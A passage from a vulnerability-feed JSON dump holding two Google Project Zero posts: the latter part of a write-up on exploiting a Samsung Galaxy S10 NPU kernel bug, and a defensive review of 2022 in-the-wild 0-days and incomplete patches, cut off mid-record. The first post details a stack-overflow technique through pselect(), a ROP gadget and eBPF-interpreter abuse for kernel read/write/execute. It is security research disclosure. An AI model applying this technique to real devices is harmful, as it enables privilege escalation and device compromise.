reason is that SPSR is used during exception return to specify the exception level to return to: this could be EL0 when returning to userspace, or EL1 when returning to kernel mode. If SPSR weren't protected, then an attacker with a kernel read/write primitive could modify the saved value of SPSR to cause a thread that would return to userspace (EL0) to instead return to EL1, thereby breaking the kernel's control flow integrity (CFI).\n\nThe Samsung Galaxy S10 does not have PAC, and hence SPSR is not protected. This is not a security issue because kernel CFI isn't a security boundary on this device. However, it does mean that this attack could be used to gain kernel code execution.\n\nThe idea of targeting the saved SPSR was appealing because we would no longer need the buffer overflow step to execute our ROP payload: assuming we could get an ION buffer allocated with a carefully chosen device address, we could modify SPSR directly using our out-of-bounds addition primitive.\n\nConcretely, when a user thread invokes a syscall, the saved SPSR value might be something like 0x20000000. The least significant 4 bits of SPSR specify the exception level from which the exception was taken: in this case, EL0. A normal kernel thread might have a CPSR value of 0x80400145; in this case, the \"5\" means that the thread is running at EL1 and on the interrupt stack (SP_EL1).\n\nNow imagine that we could get our 0x01000000-byte ION buffer allocated with a device address of 0x85000000. We'll also assume that we've somehow already managed to set the user thread's saved PC register to a kernel pointer. The saved user PC and SPSR registers look like this on the stack:\n\nPC | SPSR \nXX XX XX 0X 80 FF FF FF | 00 00 00 20 00 00 00 00\n\nUsing our out-of-bounds addition primitive to change just the least significant byte of SPSR would yield the following:\n\nPC | SPSR \nXX XX XX 0X 80 FF FF FF | 85 00 00 20 00 00 00 00\n\nHence, we would have changed SPSR from 0x20000000 to 0x20000085, meaning that once the syscall returns, we will start executing at EL1!\n\nOf course, that still leaves a few questions open: How do we get our ION buffer allocated at the desired device address? How do we set the saved PC value to a kernel pointer? We'll address these in turn.\n\nGetting the ION buffer allocated at the desired device address seemed the most urgent, since it is quite integral to this technique. In my testing it seemed that ION buffers had decently (but not perfectly) regular allocation patterns. For example, if you had just allocated an ION buffer of size 0x2000 that had device address 0x80500000, then the next ION buffer was usually allocated with device address 0x80610000.\n\nI played around with the available parameters a lot, hoping to discover an underlying logic that would allow me to deterministically predict ION daddrs. For instance, if the size of the first ION allocation was between 0x1000 and 0x10000 bytes, then the next allocation would usually be made at a device address 0x110000 bytes later, while if the first ION allocation was between 0x11000 and 0x20000 bytes, the next allocation would usually be at a device address 0x120000 bytes later. These patterns seemed to suggest that predictability was tantalizingly close; however, try as I might, I couldn't seem to eliminate the variations from the patterns I observed.\n\nEventually, by sheer random luck I happened to stumble upon a technique during one of my trials that would quite reliably allocate ION buffers at addresses of my choosing. Thus, we can now assume as part of our out-of-bounds addition primitive that we have control to choose the ION buffer's device address. Furthermore, the mask of available ION daddrs using this technique is much larger than I'd initially thought: 0x[89]xxxx000.\n\nNow, as to the question of how we'll set the saved PC value to a kernel pointer: The simplest approach would just be to jump to that address from userspace; this would work to set the value, but it was not clear to me whether we'd be able to block the thread in the kernel in this state long enough to modify the SPSR using our addition primitive from the main thread. Instead, on recommendation from my team I used the ptrace() API, which via the PTRACE_GETREGSET command provides similar functionality to XNU's thread_set_state().\n\n# Total meltdown\n\nMy first test after implementing this strategy was to set PC to the address of an instruction that would dereference an invalid memory address. The idea was that running this test should cause a kernel panic right away, since the exception return would start running in kernel mode. Then I could check the panic log to see if all the registers were being set as I expected.\n\nUnfortunately, my first test didn't panic: the syscall whose SPSR was corrupted just seemed to hang, never returning to userspace. And after several seconds of this (during which the phone was fully responsive), the phone would eventually reboot with a message about a watchdog timeout.\n\nThis seemed quite bizarre to me. If SPSR wasn't being set properly, the syscall should return to EL0, not EL1, and thus we shouldn't be able to cause any sort of kernel crash. On the other hand, I was certain that PC was set to the address of a faulting instruction, so if SPSR were being set properly, I'd expect a kernel panic, not a hard hang triggering a watchdog timeout. What was going on?\n\nEventually, Jann and I discovered that this device had the ARM64_UNMAP_KERNEL_AT_EL0 CPU feature set, which meant that the faulting instruction I was trying to jump to was being unmapped before the syscall return. Working around this seemed more trouble than it was worth: instead, I decided to abandon SPSR and go back to looking for ways to trigger a stack buffer overflow.\n\n# Revisiting the write (again)\n\nSo, once again I was back to finding a way to use the out-of-bounds addition to create a stack buffer overflow.\n\nThis was the part of the exploit development process that I was least enthusiastic about: searching through the Linux code to find specific patterns that would give me the primitives I needed. Choosing to focus on stack frames rather than heap objects certainly helped narrow the search space, but it's still tedious. Thus, I decided to focus on the parts of the kernel I'd already grown familiar with.\n\nThe pattern that I was looking for was any place that blocks before copying data to the stack, where the amount of data to be copied was stored in a variable that would be saved during the block. Ideally, this would be a call to copy_from_user(), but I failed to find any useful instances of copy_from_user() being called after a blocking operation.\n\nHowever, a horrible, horrible idea occurred to me while looking once again at the pselect() syscall, and in particular at the implementation of do_select():\n\nstatic int do_select(int n, fd_set_bits *fds, struct timespec64 *end_time)\n\n{\n\n...\n\nretval = 0;\n\nfor (;;) {\n\n...\n\ninp = fds->in; outp = fds->out; exp = fds->ex;\n\nrinp = fds->res_in; routp = fds->res_out; rexp = fds->res_ex;\n\nfor (i = 0; i < n; ++rinp, ++routp, ++rexp) {\n\n...\n\nin = *inp++; out = *outp++; ex = *exp++;\n\nall_bits = in | out | ex;\n\nif (all_bits == 0) {\n\ni += BITS_PER_LONG;\n\ncontinue;\n\n}\n\nfor (j = 0; j < BITS_PER_LONG; ++j, ++i, bit <<= 1) {\n\nstruct fd f;\n\nif (i >= n)\n\nbreak;\n\nif (!(bit & all_bits))\n\ncontinue;\n\nf = fdget(i);\n\nif (f.file) {\n\n...\n\nif (f_op->poll) {\n\n...\n\nmask = (*f_op->poll)(f.file, wait);\n\n}\n\nfdput(f);\n\nif ((mask & POLLIN_SET) && (in & bit)) {\n\nres_in |= bit;\n\nretval++;\n\n...\n\n}\n\n...\n\n}\n\n}\n\nif (res_in)\n\n*rinp = res_in;\n\nif (res_out)\n\n*routp = res_out;\n\nif (res_ex)\n\n*rexp = res_ex;\n\n...\n\n}\n\n...\n\nif (retval || timed_out || signal_pending(current))\n\nbreak;\n\n...\n\nif (!poll_schedule_timeout(&table, TASK_INTERRUPTIBLE,\n\nto, slack))\n\ntimed_out = 1;\n\n}\n\n...\n\nreturn retval;\n\n} \n \n--- \n \npselect() is able to check file descriptors for 3 types of readiness: reading (in fds), writing (out fds), and exceptional conditions (ex fds). If none of the file descriptors in the 3 fdsets are ready for the corresponding operations, then do_select() will block in poll_schedule_timeout() until either the timeout expires or the status of one of the selected fds changes.\n\nImagine what happens if, while do_select() is blocked in poll_schedule_timeout(), we use our out-of-bounds addition primitive to change the value of n. We already know from our analysis of core_sys_select() that if n was sufficiently small to begin with, then the stack_fds array will be used instead of allocating a buffer on the heap. Thus, in, out, and ex may reside on the stack. Once poll_schedule_timeout() unblocks, do_select() will iterate over all file descriptor numbers from 0 to (the corrupted value of) n. Towards the end of this loop, inp, outp, and exp will be read out-of-bounds, while rinp, routp, and rexp will be written out of bounds. Thus, this is actually a stack buffer overflow. And since the values written to rinp, routp, and rexp are determined based on the readiness of file descriptors, we have at least some hope of controlling the data that gets written.\n\n# Sizing the overflow\n\nSo, in theory, we could target pselect() to create a stack buffer overflow using our out-of-bounds addition. There are still a lot of steps between that general idea and a working exploit.\n\nLet's begin just by trying to understand the situation we're in a bit more precisely. Looking at the function prologues in IDA, we can determine the stack layout after the stack_fds buffer:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiIgmC-Qv2zwSW7EvS6nTic9UgsoLGxMFoJOtBcchDwaIJRS5BW6enz6gVpDrsAvqk8ASOuahJsZAyO4eKFlosqDoLvjczQaOvLS-5HyRHmNC9PIs2XqLOG3taijzBi1xGRXmx8Lc6VjR3hb0De4mTF0pZOJYvW-koAPdRUzZQ5loFGonGFgxWVrUA/s1600/unnamed%20%283%29.png>)\n\nThe stack layout of core_sys_select() and all earlier frames in the call stack. The 256-byte stack_fds buffer out of which we will overflow is 0x348 bytes from the end of the stack and followed by a stack guard and return address.\n\nThere are two major constraints we're going to run into with this buffer overflow: controlling the length of the overflow and controlling the contents of the overflow. We'll start with the length.\n\nBased on the depth of the stack_fds buffer in the kernel stack, we can only write 0x348 bytes into the buffer before running off the end of the stack and triggering a kernel panic. If we assume a maximal value of n = 0x140 (which will be important when controlling the contents of the overflow), then that means we need to stop processing at inp = 0x348 - 5 * 0x28 = 0x280 bytes into the buffer, which will position rexp just off the end of the stack. This corresponds to a maximum corrupted value of n of 8 * 0x280 = 0x1400.\n\nSo, how do we choose an ION buffer daddr such that adding the daddr into n = 0x140 at some offset will yield a value significantly greater than 0x140 but less than 0x1400?\n\nUnfortunately, the math on this doesn't work out. Even if we choose from the expanded range of ION device addresses 0x[89]xxxx000, there is no address that can be added to 0x140 at a particular offset to produce a 32-bit value between 0x400 and 0x1400.\n\nNevertheless, we do still have another option available to us: 2 ION buffers! If we can choose the device address of a single ION buffer, theoretically we should be able to repeat the feat to choose the device addresses of 2 ION buffers together; can we find a pair of daddrs that can be added to 0x140 at particular offsets to produce a 32-bit value between 0x400 and 0x1400?\n\nIt turns out that adding in a second independent daddr now gives us enough degrees of freedom to find a solution. For example, consider the daddrs 0x8qrst000 and 0x8wxyz000 being added into 0x140 at offsets 0 and +1, respectively. Looking at how the bytes align, it's clear that the only sum less than 0x1400 will be 0x1140. Thus, we can derive a series of relations between the digits:\n\ncarry 11 1\n\n\\+ 00 z0 xy 8w\n\n\\+ 00 t0 rs 8q\n\n40 01 00 00 00 00 00 00\n\n\\---------------------------\n\n40 11 00 00 ??\n\nt = 1\n\ns = 0\n\nz+r = 0 OR z+r = 10\n\nASSUME z+r = 10\n\n1+y+q = 10 => y+q = f\n\n1+x+8 = 10 => x = 7\n\nIn this case, we discover that daddrs 0x8qr01000 and 0x8w7yz000 will be a solution so long as q + y = 0xf and r + z = 0x10. For example, 0x81801000 and 0x827e8000 are a solution:\n\ncarry 11 1\n\n\\+ 00 80 7e 82\n\n\\+ 00 10 80 81\n\n40 01 00 00 00 00 00 00\n\n\\---------------------------\n\n40 11 00 00 83\n\ncorrupted 32-bit n is 0x1140\n\nSo, we'll need to tweak our original heap groom slightly to map both ION buffers back-to-back before spraying the kernel thread stacks.\n\n# Controlling the contents\n\nUsing 2 ION buffers with carefully chosen device addresses allows us to control the size of the stack buffer overflow. Meanwhile, the contents of the overflow are the output of the pselect() syscall, which we can control because we can control which file descriptors in our process are ready for various types of operations. But once we overflow past the original value of n, we run into a problem: we start reading our input data from the data previously written to the output buffer.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYhlsjJykY2C6s3trE-k6fDcNR5CarwUo-cKh-atLHE6gZbSOk-X4SnqoxfejpJpsQb0TEvf5GeVWSnYHPDEjRMZhIfC8ZnNuM6bhCUh_hjaSFqiNZGHp3U9CHkKKRswVqb2AugUyw0zO2CGw66u7Hv3jQbXU5JN45e8wcRVByD8Rspa_Brk9EIuZC/s1056/unnamed.gif>)\n\nCorrupting the value of n will cause do_select() to keep processing inp, outp, and exp past their original bounds. Eventually the output cursor rinp will start overflowing out of the stack_fds buffer entirely, overwriting the return address. But before that happens, inp will start consuming the previous output of rinp.\n\nTo make the analysis simpler, we can ignore out, ex, rout, and rex to focus exclusively on in and rin. The reason for this is that rout and rex will eventually be overwritten by rin, so it doesn't really matter what they write; if the overflow continues for a sufficient distance, only the output of rin matters.\n\nUsing the assumed value of n = 0x140, each of the in, out, ex, rin, rout, rex buffers is 0x28 bytes, so after processing 3 * n = 0x3c0 file descriptors, inp (the input pointer) will start reading from rin (the output buffer), and this will continue as the out-of-bounds write progresses down the stack. By the semantics of select(), each bit in rinp is only written with a 1 if both the corresponding bit in inp was a 1 and the corresponding file descriptor was readable. Thus, once we've written a 0 bit at any location, every bit at a multiple of 0x3c0 bits later will also be 0. This introduces a natural cycle in our overflow that constrains the output.\n\nIt's also worth noting that if you look back at do_select(), rinp is only written if the full 64-bit value to write is nonzero. Thus, if any 64-bit output value is 0 (i.e., all 64 fds in the long are either not selected on or not readable), then the corresponding stack location will be left intact.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgpEr1Wq6qWLDGR8A3VOyblVEjZUKF9wO6KHV59ZhGE0eSqJys53NM_jA0Hou5wQ5lzQ-X8Bu00TFeVt1BHiQEAw6q4oISNmxd-k0trc7JBob6M7tYU0LdgSfTFOqjOGb9WKRQfHEO09UB-qiomTByEkgZuXsM561NGNRgHvwRAD4VNUJjVfPWW-fJ/s1600/unnamed%20%282%29.png>)\n\nBecause of the 3 * 0x28 = 0x78-byte cycle length, we can treat this primitive as the ability to write up to 15 controlled 64-bit values into the stack, each at a unique offset modulo 0x78, while leaving stack values at the remaining offsets modulo 0x78 intact. This is a conservative simplification, since our primitive is somewhat more flexible than this, but it's useful to visualize our primitive this way.\n\nUnder this simplification, we can describe the out-of-bounds write as 15 (offset, value) pairs, where offset is the offset from the start of the stack_fds array in bytes (which must be a multiple of 8 and must be unique mod 0x78) and value is the 64-bit value to be written at that offset. For each (offset, value) pair, we need to set to 1 every bit in each \"preimage\" of value from an earlier cycle.\n\nTo simplify things even further, let's regard the concatenation of the input fdsets in, out, and ex as a single input fdset, just as it appears on the kernel stack in the stack_fds buffer once we've corrupted n.\n\nThe simplest solution is to have the \"preimage\" of each value be value itself, which can be done by setting the portion of the input fdset at offset % 0x78 to value for each (offset, value) pair and by making every file descriptor from 0 to 0x1140 be readable. Since we'll only be selecting on the fds that correspond to 1 bits in value and since every fd is readable, this will mirror the entire input buffer (consisting of the 15 values at their corresponding offsets) down the kernel stack repeatedly. This will trivially ensure that value gets placed at offset because value will be written to every offset in the kernel stack that is the same as offset mod 0x78.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX4tVe31D9ACayK6HTdRXQoC6n5-kOcdHd0D8y2omYYIIjIDoLDLWbSjfglEfQwcRNxJOd6zsiYyQUilpD91A9A4CCQELEBU0yQnbl_AeoNecrLZSrQbSvJrMuQM_ibLxUHXXH-M1UEvUsAKy5dt6rRNTC7hYBgFmFKablEKPdy04tGg7-tvi6678_/s1600/unnamed%20%281%29.png>)\n\nBy making all of the first 0x1140 file descriptors readable, the input buffer's 15 longs will be mirrored down the stack, repeating every 0x3c0 bits.\n\nUsing a slightly more complicated solution, however, we can limit the depth of the stack corruption. Instead, we'll have the preimage of each value be ~0 (i.e., all 64 bits set), and use the readability of each file descriptor to control the bits that get written. That way, once we've written the value at the correct offset, the fds corresponding to subsequent cycles can be made non-readable, thereby preventing the corruption from continuing down the stack past the desired depth of each write.\n\nThis still leaves one more question about the mechanics of the stack buffer overflow: poll_schedule_timeout() will return as soon as any file descriptor becomes readable, so how can we make sure that all the fds for all the 1 bits become readable at the same time? Fortunately this has an easy solution: create 2 pipes, one for all 0 bits and one for all 1 bits, and use dup2() to make all the fds we'll be selecting on be duplicates of the read ends of these pipes. Writing data to the \"1 bits\" pipe will cause poll_schedule_timeout() to unblock and all the \"1 bits\" fds will be readable (since they're all dups of the same underlying file). The only thing we need to be careful about is to ensure that at least one of the original in file descriptors (fds 0-0x13f) is a \"1 bit\" dup, or else poll_schedule_timeout() won't notice the status change when we write to the \"1 bits\" pipe.\n\nCombining all of these ideas together, we can finally control the contents of the buffer overflow, clobbering the return address (while leaving the stack guard intact!) to execute a small ROP payload.\n\n# The ultimate ROP\n\nFinally, it's time to consider our ROP payload. Because we can write at most 15 distinct 64-bit values into the stack via our overflow (2 of which we've already used), we'll need to be careful about keeping the ROP payload small.\n\nWhen I mentioned this progress to Jann, he suggested that I check the function ___bpf_prog_run(), which he described as the ultimate ROP gadget. And indeed, if your kernel has it compiled in, it does appear to be the ultimate ROP gadget!\n\n___bpf_prog_run() is responsible for interpreting eBPF bytecode that has already been deemed safe by the eBPF verifier. As such, it provides a number very powerful primitives, including:\n\n 1. arbitrary control flow in the eBPF program;\n 2. arbitrary memory load;\n 3. arbitrary memory store;\n 4. arbitrary kernel function calls with up to 5 arguments and a 64-bit return value.\n\nSo how can we start executing this function with a controlled instruction array as quickly as possible?\n\nFirst, it's slightly easier to enter ___bpf_prog_run() through one of its wrappers, such as __bpf_prog_run32(). The wrapper takes just 2 arguments rather than 3, and of those, we only need to control the second:\n\nunsigned int __bpf_prog_run32(const void *ctx, const bpf_insn *insn) \n \n--- \n \nThe insn argument is passed in register X1, which means we'll need to find a ROP gadget that will pop a value off the stack and move it into X1. Fortunately, the following gadget from the end of the current_time() function gives us control of X1 indirectly via X20:\n\nFFFFFF8008294C20 LDP X29, X30, [SP,#0x10+var_s0]\n\nFFFFFF8008294C24 MOV X0, X19\n\nFFFFFF8008294C28 MOV X1, X20\n\nFFFFFF8008294C2C LDP X20, X19, [SP+0x10+var_10],#0x20\n\nFFFFFF8008294C30 RET\n\nThe reason this works is that X20 was actually popped off the stack during the epilogue of core_sys_select(), which means that we already have control over X20 by the time we execute the first hijacked return. So executing this gadget will move the value we popped into X20 over to register X1. And since this gadget reads its return address from the stack, we'll also have control over where we return to next, meaning that we can jump right into __bpf_prog_run32() with our controlled X1.\n\nThe only remaining question is what value to place in X1. Fortunately, this also has a very simple answer: the ION buffers are mapped shared between userspace and the kernel, and we already disclosed their location when we leaked the uninitialized stack_fds buffer contents before. Thus, we can just write our eBPF program into the ION buffer and pass that address to __bpf_prog_run32()!\n\nFor simplicity, I had the eBPF implement a busy-poll of the shared memory to execute commands on behalf of the userspace process. The eBPF program would repeatedly read a value from the ION buffer and perform either a 64-bit read, 64-bit write, or 5-argument function call based on the value that was read. This gives us an incredibly simple and reliable kernel read/write/execute primitive.\n\nEven though the primitive was hacky and the system was not yet stable, I decided to stop developing the exploit at this point because my read/write/execute primitive was sufficiently powerful that subsequent exploitation steps would be fully independent of the original bug. I felt that I had achieved the goal of exploring the differences between kernel exploitation on Android and iOS.\n\n# Conclusion\n\nSo, what are my takeaways from developing this Android exploit?\n\nOverall, the quality of the hardware mitigations on the Samsung Galaxy S10 was much stronger than I had expected. My uninformed expectation about the state of hardware mitigation adoption on Android devices was that it lagged significantly behind iOS. And in broad strokes that's true: the iPhone XS's A12 SOC supports ARMv8.3-A compared to the Qualcomm Snapdragon 855's ARMv8.2-A, and the A12 includes a few Apple-custom mitigations (KTRR, APRR+PPL) not present in the Snapdragon SOC. However, the mitigation gap was substantially smaller than I had been expecting, and there were even a few ways that the Galaxy S10 supported stronger mitigations than the iPhone XS, for instance by using unprivileged load/store operations during copy_from/to_user(). And as interesting as Apple's custom mitigations are on iOS, they would not have blocked this exploit from obtaining kernel read/write.\n\nIn terms of the software, I had expected Android to provide significantly weaker and more limited kernel manipulation primitives (heap shaping, target objects to corrupt, etc) than what's provided by the Mach microkernel portion of XNU, and this also seems largely true. I suspect that part of the reason that public iOS exploits all seem to follow very similar exploit flows is that the pre- and post-exploitation primitives available to manipulate the kernel are exceptionally powerful and flexible. Having powerful manipulation primitives allows you to obtain powerful exploitation primitives more quickly, with less of the exploit flow specific to the exact constraints of the bug. In the case of this Android exploit, it's hard for me to speak generally given my lack of familiarity with the platform. I did manage to find good heap manipulation primitives, so the heap shaping part of the exploit was straightforward and generic. On the other hand, I struggled to find stack frames amenable to manipulation, which forced me to dig through lots of technical constraints to find strategies that would just barely work. As a result, the exploit flow to get kernel read/write/execute is highly specific to the underlying vulnerability until the last step. I'm thus left feeling that there are almost certainly much more elegant ways to exploit the NPU bugs than the strategy I chose.\n\nDespite all these differences between the two platforms, I was overall quite surprised with the similarities and parallels that did emerge. Even though the final exploit flow for this NPU bug ended up being quite different, there were many echoes of the oob_timestamp exploit along the way. Thus my past experience developing iOS kernel exploits did in fact help me come up with ideas worth trying on Android, even if most of those ideas didn't pan out.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-12-21T00:00:00", "type": "googleprojectzero", "title": "\nAn iOS hacker tries Android\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-2370", "CVE-2020-28343", "CVE-2020-3837"], "modified": "2020-12-21T00:00:00", "id": "GOOGLEPROJECTZERO:B7D83FD0998DB6A044E63C8C9134F8C9", "href": "https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T14:47:52", "description": "Posted by Maddie Stone, Google Project Zero\n\nThis blog post is an overview of a talk, \u201c 0-day In-the-Wild Exploitation in 2022\u2026so far\u201d, that I gave at the FIRST conference in June 2022. The slides are available [here](<https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf>).\n\nFor the last three years, we\u2019ve published annual year-in-review reports of 0-days found exploited in the wild. The most recent of these reports is the [2021 Year in Review report](<https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html>), which we published just a few months ago in April. While we plan to stick with that annual cadence, we\u2019re publishing a little bonus report today looking at the in-the-wild 0-days detected and disclosed in the first half of 2022. \n\nAs of June 15, 2022, there have been 18 0-days detected and disclosed as exploited in-the-wild in 2022. When we analyzed those 0-days, we found that at least nine of the 0-days are variants of previously patched vulnerabilities. At least half of the 0-days we\u2019ve seen in the first six months of 2022 could have been prevented with more comprehensive patching and regression tests. On top of that, four of the 2022 0-days are variants of 2021 in-the-wild 0-days. Just 12 months from the original in-the-wild 0-day being patched, attackers came back with a variant of the original bug. \n\nProduct\n\n| \n\n2022 ITW 0-day\n\n| \n\nVariant \n \n---|---|--- \n \nWindows win32k\n\n| \n\n[CVE-2022-21882](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html>)\n\n| \n\n[CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) (2021 itw) \n \niOS IOMobileFrameBuffer\n\n| \n\n[CVE-2022-22587](<https://support.apple.com/en-us/HT213053>)\n\n| \n\n[CVE-2021-30983](<https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html>) (2021 itw) \n \nWindows\n\n| \n\n[CVE-2022-30190](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190>) (\u201cFollina\u201d)\n\n| \n\n[CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) (2021 itw) \n \nChromium property access interceptors\n\n| \n\n[CVE-2022-1096](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>)\n\n| \n\n[CVE-2016-5128](<https://bugs.chromium.org/p/chromium/issues/detail?id=619166>) [CVE-2021-30551](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30551.html>) (2021 itw) [CVE-2022-1232](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2280>) (Addresses incomplete CVE-2022-1096 fix) \n \nChromium v8\n\n| \n\n[CVE-2022-1364](<https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_14.html>)\n\n| \n\n[CVE-2021-21195](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_30.html>) \n \nWebKit\n\n| \n\n[CVE-2022-22620](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22620.html>) (\u201cZombie\u201d)\n\n| \n\n[Bug was originally fixed in 2013, patch was regressed in 2016](<https://googleprojectzero.blogspot.com/2022/06/an-autopsy-on-zombie-in-wild-0-day.html>) \n \nGoogle Pixel\n\n| \n\n[CVE-2021-39793](<https://source.android.com/security/bulletin/pixel/2022-03-01>)*\n\n* While this CVE says 2021, the bug was patched and disclosed in 2022\n\n| \n\n[Linux same bug in a different subsystem](<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cd5297b0855f17c8b4e3ef1d20c6a3656209c7b3>) \n \nAtlassian Confluence\n\n| \n\n[CVE-2022-26134](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>)\n\n| \n\n[CVE-2021-26084](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) \n \nWindows\n\n| \n\n[CVE-2022-26925](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26925>) (\u201cPetitPotam\u201d)\n\n| \n\n[CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>) (Patch regressed) \n \nSo, what does this mean?\n\nWhen people think of 0-day exploits, they often think that these exploits are so technologically advanced that there\u2019s no hope to catch and prevent them. The data paints a different picture. At least half of the 0-days we\u2019ve seen so far this year are closely related to bugs we\u2019ve seen before. Our conclusion and findings in the [2020 year-in-review report](<https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html>) were very similar.\n\nMany of the 2022 in-the-wild 0-days are due to the previous vulnerability not being fully patched. In the case of the Windows win32k and the Chromium property access interceptor bugs, the execution flow that the proof-of-concept exploits took were patched, but the root cause issue was not addressed: attackers were able to come back and trigger the original vulnerability through a different path. And in the case of the WebKit and Windows PetitPotam issues, the original vulnerability had previously been patched, but at some point regressed so that attackers could exploit the same vulnerability again. In the iOS IOMobileFrameBuffer bug, a buffer overflow was addressed by checking that a size was less than a certain number, but it didn\u2019t check a minimum bound on that size. For more detailed explanations of three of the 0-days and how they relate to their variants, please see the [slides from the talk](<https://github.com/maddiestone/ConPresentations/blob/master/FIRST2022.2022_0days_so_far.pdf>).\n\nWhen 0-day exploits are detected in-the-wild, it\u2019s the failure case for an attacker. It\u2019s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can\u2019t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they\u2019re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method. To do that effectively, we need correct and comprehensive fixes.\n\nThis is not to minimize the challenges faced by security teams responsible for responding to vulnerability reports. As we said in our 2020 year in review report: \n\nBeing able to correctly and comprehensively patch isn't just flicking a switch: it requires investment, prioritization, and planning. It also requires developing a patching process that balances both protecting users quickly and ensuring it is comprehensive, which can at times be in tension. While we expect that none of this will come as a surprise to security teams in an organization, this analysis is a good reminder that there is still more work to be done. \n\nExactly what investments are likely required depends on each unique situation, but we see some common themes around staffing/resourcing, incentive structures, process maturity, automation/testing, release cadence, and partnerships.\n\nPractically, some of the following efforts can help ensure bugs are correctly and comprehensively fixed. Project Zero plans to continue to help with the following efforts, but we hope and encourage platform security teams and other independent security researchers to invest in these types of analyses as well:\n\n * Root cause analysis\n\nUnderstanding the underlying vulnerability that is being exploited. Also tries to understand how that vulnerability may have been introduced. Performing a root cause analysis can help ensure that a fix is addressing the underlying vulnerability and not just breaking the proof-of-concept. Root cause analysis is generally a pre-requisite for successful variant and patch analysis.\n\n * Variant analysis\n\nLooking for other vulnerabilities similar to the reported vulnerability. This can involve looking for the same bug pattern elsewhere, more thoroughly auditing the component that contained the vulnerability, modifying fuzzers to understand why they didn\u2019t find the vulnerability previously, etc. Most researchers find more than one vulnerability at the same time. By finding and fixing the related variants, attackers are not able to simply \u201cplug and play\u201d with a new vulnerability once the original is patched.\n\n * Patch analysis\n\nAnalyzing the proposed (or released) patch for completeness compared to the root cause vulnerability. I encourage vendors to share how they plan to address the vulnerability with the vulnerability reporter early so the reporter can analyze whether the patch comprehensively addresses the root cause of the vulnerability, alongside the vendor\u2019s own internal analysis.\n\n * Exploit technique analysis\n\nUnderstanding the primitive gained from the vulnerability and how it\u2019s being used. While it\u2019s generally industry-standard to patch vulnerabilities, mitigating exploit techniques doesn\u2019t happen as frequently. While not every exploit technique will always be able to be mitigated, the hope is that it will become the default rather than the exception. Exploit samples will need to be shared more readily in order for vendors and security researchers to be able to perform exploit technique analysis.\n\nTransparently sharing these analyses helps the industry as a whole as well. We publish our analyses at [this repository](<https://googleprojectzero.github.io/0days-in-the-wild/rca.html>). We encourage vendors and others to publish theirs as well. This allows developers and security professionals to better understand what the attackers already know about these bugs, which hopefully leads to even better solutions and security overall. \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-30T00:00:00", "type": "googleprojectzero", "title": "\n2022 0-day In-the-Wild Exploitation\u2026so far\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": 